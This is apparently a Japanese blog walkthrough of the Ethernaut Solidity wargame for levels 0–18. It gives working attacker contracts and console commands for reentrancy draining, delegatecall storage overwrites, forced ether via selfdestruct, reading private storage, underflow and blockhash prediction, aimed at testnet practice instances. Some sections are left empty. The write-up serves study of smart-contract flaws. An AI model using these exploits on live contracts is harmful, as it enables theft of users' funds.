目次
- はじめに
- 環境
- コードブロックの種類
- Ethernautの基本的な進め方
- 0. Hello Ethernaut
- 1. Fallback
- 2. Fallout
- 3. Coin Flip
- 4. Telephone
- 5. Token
- 6. Delegation
- 7. Force
- 8. Vault
- 9. King
- 10. Re-entrancy
- 11. Elevator
- 12. Privacy
- 13. Gatekeeper One
- 14. Gatekeeper Two
- 15. Naught Coin
- 16. Preservation
- 17. Recovery
- 18. MagicNumber
- 19. Alien Codex
- 20. Denial
- 21. Shop
- 22. Dex
はじめに
Solidityの進化が早すぎて先人たちの回答が全く役に立たなくなりつつあったので、自分でもまとめておく。(随時更新)
環境
- macOS v11.5.2
- Solidity v0.8.4
- Truffle v5.3.14
コードブロックの種類
// Ethernautページのコンソール上で実行するJavaScriptコード
// ハッキング用コントラクトのSolidityコード
// Truffle console上で実行するJavaScriptコード
Ethernautの基本的な進め方
- "Get new instance"ボタンで自分用のインスタンスを用意
- コンソール上か自分でデプロイしたコントラクト経由でインスタンスを操作
- 要求されたタスクが完了したら"Submit instance"ボタンでクリアしているかを確認
0. Hello Ethernaut
お題
コンソール上でinfo()
から順に関数実行。
各関数の返り値で次にやることが示される。
await contract.info();
await contract.info1();
await contract.info2("hello");
await contract.infoNum().then(n => n.toNumber());
await contract.info42();
await contract.theMethodName();
await contract.method7123949();
await contract.password();
await contract.authenticate("ethernaut0");
solidyコードを読み解けば、最後の2行だけでもクリアできることが分かる。
1. Fallback
お題
- コントラクトのオーナーになる
- コントラクトのbalanceを0にする
// contributeする (ここでは1wei)
await contract.getContribution().then(n => n.toNumber()); // 0
await contract.contribute({value: 1});
await contract.getContribution().then(n => n.toNumber()); // 1
// オーナーになる
// receive()関数はsendTransaction()で呼び出す
await contract.owner(); // not your address
await contract.sendTransaction({value: 1});
await contract.owner(); // your address
// balanceを引き出す
await getBalance(contract.address); // not 0
await contract.withdraw();
await getBalance(contract.address); // 0
2. Fallout
お題:コントラクトのオーナーになる。
方針:コンストラクタが誤字っているのでそこをつく。
メモ:Solidity v0.4.22以降はコンストラクタはconstructor()
で統一すること。
await contract.Fal1out();
3. Coin Flip
お題:10回連続でコイントスの結果を当てる。
方針:flip()と同じ処理を事前に行ってトス結果を得る。
メモ:Solidity v0.8以降はSafeMathは必要ない。
コントラクト経由で操作
<your instance address>
の部分は各自変更
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract CoinFlip {
function flip(bool _guess) public virtual returns (bool);
}
contract Attacker {
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function attack(address targetAddr) external {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip(targetAddr).flip(side);
}
}
Rinkebyにコントラクトをデプロイ後、truffle console上で以下を10回実行
Attacker.deployed().then(c => c.attack('<your instance address>'));
4. Telephone
お題:コントラクトのオーナーになる。
方針:コントラクト経由でchangeOwner()を実行。
メモ:tx.origin
は一連の処理の発端となったアドレス、msg.sender
は関数の実行元アドレス。コントラクト経由でchangeOwner()
を実行した場合、tx.origin
はあなたのアドレス、msg.sender
はコントラクトのアドレスになる。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Telephone {
function changeOwner(address _owner) public virtual;
}
contract Attacker {
function attack(address targetAddr) external {
Telephone(targetAddr).changeOwner(msg.sender);
}
}
Attacker.deployed().then(c => c.attack('<your instance address>'));
5. Token
お題:最初に与えられた20トークンよりも多くのトークンを手に入れる。
方針:Solidity v0.6.0(< 0.8)なのにSafeMathを使用していないので、require()
部分でアンダーフローを引き起こせる。
await contract.balanceOf(player).then(n => n.toNumber()); // 20
// 引数_toにはplayer以外のアドレスを渡す。
// (playerを渡した場合、自分のbalanceから_valueを引いた後、自分のbalanceに_valueを足すことになるので、balance値が変わらない。)
// アンダーフローを引き起こすために引数_valueには現在のbalanceより大きい値を渡す。
await contract.transfer(contract.address, 21);
// 値が大きすぎて toNumber() では処理できないので、toString() を使用する。
await contract.balanceOf(player).then(n => n.toString()); // "11579208923731619..."
6. Delegation
お題:Delegation
コントラクトのオーナーになる。
方針:Delegation.fallback()
からDelegate.pwn()
を実行させる。
メモ:コントラクト経由で以下と同じことをしても、オーナーがコントラクトのアドレスになってしまうのでクリアできない。
contract.sendTransaction({data:web3.utils.sha3("pwn()")})
7. Force
お題:コントラクトの残高を0より大きくする。
方針:selfdestruct()
を利用して強制的にethを送りつける。
メモ:Solidity v0.5.0以降、address
型とaddress payable
型は区別される。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Attacker {
receive() external payable {}
function attack(address payable targetAddr) external {
selfdestruct(targetAddr);
}
}
a = await Attacker.deployed();
a.sendTransaction({value:1}); // Attackerコントラクトに1wei送信
a.attack('<your instance address>'); // Forceコントラクトに1wei送信
await getBalance(contract.address); // "0.000000000000000001"
8. Vault
お題:Vaultコントラクトのロックを解除する。
方針:web3.eth.getStorageAt()
を利用してprivate変数を調べる。
メモ:private変数は他のコントラクトからアクセスできないだけで、第三者から値を見られないわけではない。パスワードを利用する場合は、パスワードをハッシュ化した値をBC上に保存し、認証時はその値と"引数で受け取った値のハッシュ値"を比較するとよい。
// passwordを調べる
let hexPassword = await web3.eth.getStorageAt(contract.address, 1);
web3.utils.hexToAscii(hexPassword); // "A very strong secret password :)"
// ロック解除
await contract.unlock(hexPassword);
await contract.locked(); // false
9. King
お題:自分がkingになり、その後kingが更新されないようにする。
方針:recieve() payable
やfallback() payable
を実装していないコントラクトが一度kingになると、次回以降のking.transfer(msg.value);
でエラーになるため、永遠にkingが入れ替わらなくなる。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Attacker {
function attack(address payable targetAddr) external payable {
(bool sent, ) = targetAddr.call{value: msg.value}("");
require(sent, "Failed to send Ether");
}
}
// prize値を確認
await contract.prize().then(n => n.toString());
// 確認したprize値以上のetherを送信する
let a = await Attacker.deployed();
a.attack('<your instance address>', {value: 1000000000000000000});
// kingを確認
await contract._king();
10. Re-entrancy
お題:Reentranceコントラクトのbalanceを0にする。
方針:balances[msg.sender] -= _amount;
よりもcall{value:_amount}("");
が先に実行されるため、call{value:_amount}("");
の実行時に呼ばれるreceive()
の中でwithdraw()
を再帰的に呼び出す。
メモ:call{value:_amount}("");
の実行時、receive()
がない場合はfallback() payable
が呼び出される。DAOハックの手口。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Reentrance {
function donate(address _to) public payable virtual;
function withdraw(uint256 _amount) public virtual;
}
contract Attacker {
uint256 donatedValue;
Reentrance reentrance;
receive() external payable {
reentrance.withdraw(donatedValue);
}
function attack(address targetAddr) external payable {
donatedValue = msg.value;
reentrance = Reentrance(targetAddr);
reentrance.donate{value: donatedValue}(address(this));
reentrance.withdraw(donatedValue);
}
}
let a = await Attacker.deployed();
a.attack('<your instance address>', {value: web3.utils.toWei('0.1', 'ether')});
// Reentranceコントラクトのbalanceを確認
await getBalance(contract.address);
11. Elevator
お題:エレベータを最上階まで上げる。(パブリック変数top
をtrueにする。)
方針:1回目はfalse、2回目はtrueを返すようなfunction isLastFloor(uint) external returns (bool);
を実装する。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Elevator {
function goTo(uint256 _floor) public virtual;
}
contract Attacker {
bool lastValue = true;
function isLastFloor(uint256) external returns (bool) {
lastValue = !lastValue;
return lastValue;
}
function attack(address targetAddr, uint256 _floor) external {
Elevator(targetAddr).goTo(_floor);
}
}
let a = await Attacker.deployed();
a.attack('<your instance address>', 10);
await contract.floor().then(n => n.toNumber()); // false
await contract.top(); // true
12. Privacy
お題:Privacyコントラクトのロックを解除する。
方針:web3.eth.getStorageAt()
でdata[2]
の値を調べる。
メモ:1ストレージスロットは32byte。32byte未満の変数が連続する場合、可能な限り同じスロットにまとめて格納される。1byteは16進数で2文字なので、各スロット2×32=64文字で表される。(冒頭の"0x"は除く)
data[2]の値を調べる。
await web3.eth.getStorageAt(contract.address, 0);
// "0x0000000000000000000000000000000000000000000000000000000000000001"
// locked (true -> "1")
await web3.eth.getStorageAt(contract.address, 1);
// "0x0000000000000000000000000000000000000000000000000000000061339123"
// ID (block.timestamp -> "000...00061339123")
await web3.eth.getStorageAt(contract.address, 2);
// "0x000000000000000000000000000000000000000000000000000000009123ff0a"
// flattening (10 -> "0a")
// denomination (255 -> "ff")
// awkwardness (uint16(now) -> "9123")
await web3.eth.getStorageAt(contract.address, 3);
// "0x33679469438abb4084e84611a0b0636dbd605a9c2e4afde592bfa6f12a25fff8"
// data[0]
await web3.eth.getStorageAt(contract.address, 4);
// "0x57f8ace739af7c68415b07b53704e93a3b8c7eef6923ccef4aade2cd061a7721"
// data[1]
await web3.eth.getStorageAt(contract.address, 5);
// "0x2c4c32455f538a9d485e0275d6761e9bc0dc8c5a77bd0ab981d414adbf031104"
// data[2]
ロック解除
// data[2]をbytes16にキャストしているので、data[2]の前半32文字分を引数にする。
await contract.unlock('0x2c4c32455f538a9d485e0275d6761e9b');
await contract.locked(); // false
13. Gatekeeper One
お題:ゲートをくぐり抜けてentrant
に登録する。
14. Gatekeeper Two
お題:ゲートをくぐり抜けてentrant
に登録する。
方針
gateOne
コントラクト経由で実行すれば良い。
gateTwo
extcodesize(caller())
は呼び出し元(msg.sender)のコードサイズを取得する。
コントラクトノードはコードを所持しているので基本的には0にならないが、コントラクトを完全にデプロイする前、つまり、constructor()
の中で実行することで0にすることができる。
gateThree
^
はXORをとる演算子。uint64(0) - 1
は2進数表記にすると全て1になる値。
つまり、uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
と uint64(_gateKey)
は2進数表記にしたときに、全ての桁の値が異なっている必要がある。
これを満たす_gateKey
を求めるには、bytes8(keccak256(abi.encodePacked(msg.sender)))
のNOTを取れば良い。NOT演算子は~
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract GatekeeperTwo {
function enter(bytes8 _gateKey) public virtual returns (bool);
}
contract Attacker {
constructor(address targetAddr) {
bytes8 _gateKey = ~bytes8(keccak256(abi.encodePacked(address(this))));
GatekeeperTwo(targetAddr).enter(_gateKey);
}
}
15. Naught Coin
お題:自分のNaughtCoin残高を0にする。
方針:approve()
&transferFrom()
で送金する。
メモ:ERC20の送金方法はtransfer()
とapprove()
&transferFrom()
の2種類がある。
let amount = await contract.balanceOf(player);
await contract.approve(player, amount);
await contract.transferFrom(player, contract.address, amount);
16. Preservation
お題:Preservation
コントラクトのオーナーになる。
方針:delegateCall()
の呼び出し元と呼び出し先の変数定義(数/順番)が異なるので、そこをつく。
-
setSecondTime()
でtimeZone1Library
プロパティの値を自分でデプロイしたコントラクトアドレスに変更 -
setFirstTime()
で自分のコントラクトに実装したsetTime()
を実行させ、owner
プロパティを上書きする。
メモ:delegateCall()
で書き換えられる値は、変数名ではなくストレージ上の場所でマッチングされる。予期せぬ動作を防ぐため、状態変数を操作する際はライブラリを使用すると良い。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Preservation {
function setFirstTime(uint256 _timeStamp) public virtual;
function setSecondTime(uint256 _timeStamp) public virtual;
}
contract Attacker {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256) public {
owner = tx.origin;
}
function attack(address targetAddr) external {
uint256 _timeStamp = uint256(uint160(address(this)));
Preservation(targetAddr).setSecondTime(_timeStamp);
}
}
await Attacker.deployed().then(a => a.attack('<your instance address>'));
await contract.timeZone1Library(); // 自分でデプロイしたコントラクトのアドレスになっていることを確認
await contract.setFirstTime(0); // 引数はuintなら何でもいい
await contract.owner(); // 自分のアドレスになっていることを確認
17. Recovery
お題:失われたethを取り戻せ(別のアドレスに移せ)
方針:EtherscanでターゲットとなるSimpleToken
コントラクトのアドレスを調べ、selfdestruct()
を実行させる。
ターゲットアドレスの見つけ方
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract SimpleToken {
function destroy(address payable _to) public virtual;
}
contract Attacker {
function attack(address targetAddr) external {
SimpleToken(targetAddr).destroy(payable(msg.sender));
}
}
await Attacker.deployed().then(a => a.attack('<target address>'));
18. MagicNumber
お題:10opcode以内で42を返すコントラクトを作る。
方針:bytescode
メモ:
参考
- Ethernaut Lvl 19 MagicNumber Walkthrough: How to deploy contracts using raw assembly opcodes
-
Wikigedia:生命、宇宙、そして万物についての究極の疑問の答え(
whatIsTheMeaningOfLife()
がなぜ42を返すのか)